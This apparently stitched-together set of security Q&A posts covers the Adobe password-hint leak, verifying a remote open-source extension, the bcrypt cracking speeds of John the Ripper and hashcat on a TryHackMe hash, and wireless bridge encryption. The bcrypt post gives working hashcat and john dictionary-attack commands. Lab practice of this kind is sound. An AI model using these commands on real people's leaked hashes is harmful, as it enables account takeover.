Adobe encrypted their customer passwords, and while millions of them were leaked a year ago there still hasn't been a public disclosure of the encryption key.  These credentials might still be considered protected if it weren't for the accompanying password hints that often blatantly explained what likely password was used.


Verify server answer I have 3 components: My server (let's call it server A) and another not accessible server B. The 3rd component is an extension (written by me) for a framework. This extensions code is open and can be accessed by anyone.

My users have this framework and my extension installed on server B. The extension generates an URL (index.php?validate), which has to be used when registering on server A. When submitting the registration, server A accesses this URL and checks the response. If the response has a status code of 200 and returns the json response {"success": true}, the registration is successful.

So the goal is to assure that the user has installed the extension on his server B.

How is this possible?

Problems: Right now, the user could just create the page index.php?validate and return a static json response without using my extension, because they could just look up the code of the extension and check how the response has to look like. Sending a random id with the request from server A and returning it within the answer of server B is also useless, because they can just debug the request from server A.

Is there any way to validate the existence of my extension on server B, when the extension code can be accessed by anyone?

Given that the code of the extension is open and no additional secrets are required to compute the proper response to a server request it is impossible to know if the answer was actually computed by the extension installed on server B, by the extension running somewhere else or by code reimplementing the relevant parts.


For bcrypt why is JTR so much faster than hashcat? To keep it short I've recently been learning about hashing and password hash cracking on TryHackMe.
I was tasked to crack the following hash: $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm
When trying to crack with hashcat I used the following command to attempt to crack the hash:
hashcat.exe -a 0 -m 3200 hashes.txt ./rockyou.txt

During the attempt hashcat reported a speed of: 52 H/s (3.91ms).
When cracking the hash with john the ripper I used the following command:
john --format=bcrypt --wordlist=rockyou.txt hashes.txt

During the attempt JTR reported a speed of: 111.4p/s 111.4c/s 111.4C/s
JTR was able to crack that hash in 7 min, 3 secs, whilst hashcat tool 15 mins, 11 secs. That makes JTR more than twice as fast as indicted by the hashing speeds. So my question is, why is JTR so superior in this scenario? As I understand both methods were using CPU over GPU since its bcrypt. Is it simple a matter of a more refined algorythm for JTR? If so any deeper details would be greatly appreciated.

Most likely explanation: which implementation takes advantage of CPU-specific instruction optimizations.

For john, See john -list=build-info for which Build/SIMD options are enabled.
For hashcat, I'm not sure if there's a way to show which CPU instructions are used for a given algorithm, other than looking at the source code and the compiler output.


2 AP (TP-LINK) - bridge mode - security issues I connect two TP-LINK APs (TL-WA901ND) together over bridge-mode. It's all working fine but there is no option to set up some wifi-security (WPA/WPA2).

Do I need wifi-security over bridge-mode?
Any ideas, tips or tutorials are welcome.

Please check for a "bridge password" somewhere (after, of course, updating your firmware) - there's some reference to one in a Whirlpool forum post, though another user in that post couldn't find it.

As far as needing security, unless you want other to be able to intercept your data and see what you're doing or possibly inject themselves into your network, I would very much recommend some sort of security over bridge mode.

If there is no "bridge password", then I'd recommend one of three things:

1) Upgrade to something different, like a Ubiquiti, that does allow for WPA2 in bridge mode (an example with screenshots is in this tutorial, backed up by the Ubiquiti AirOS 5.5 manual which calls out only AP-Repeater Auto mode as not allowing WPA/WPA2 "because WPA or WPA2 requires different roles on AP
configuration (authenticator or supplicant).").

2) Set up your network so the only traffic over the wireless bridge is tunnelled through a VPN.  Personally, I like OpenVPN with certificate based authentication, which pfSense makes very easy, but properly configured IPSec also works, as do many (but not all) other VPN solutions.

3) Both of the above - WPA2 protected WiFi carrying a VPN tunnel.  This means that, very likely, both would have to be broken in order for your data to be read (i.e. if, long ago, an attacker captured the Wifi traffic of someone using brand-new WEP in 1999 carrying a secure VPN [say, 3-key TripleDES], even today, while the WEP encryption would have been long broken, the secure VPN is likely to still be secure).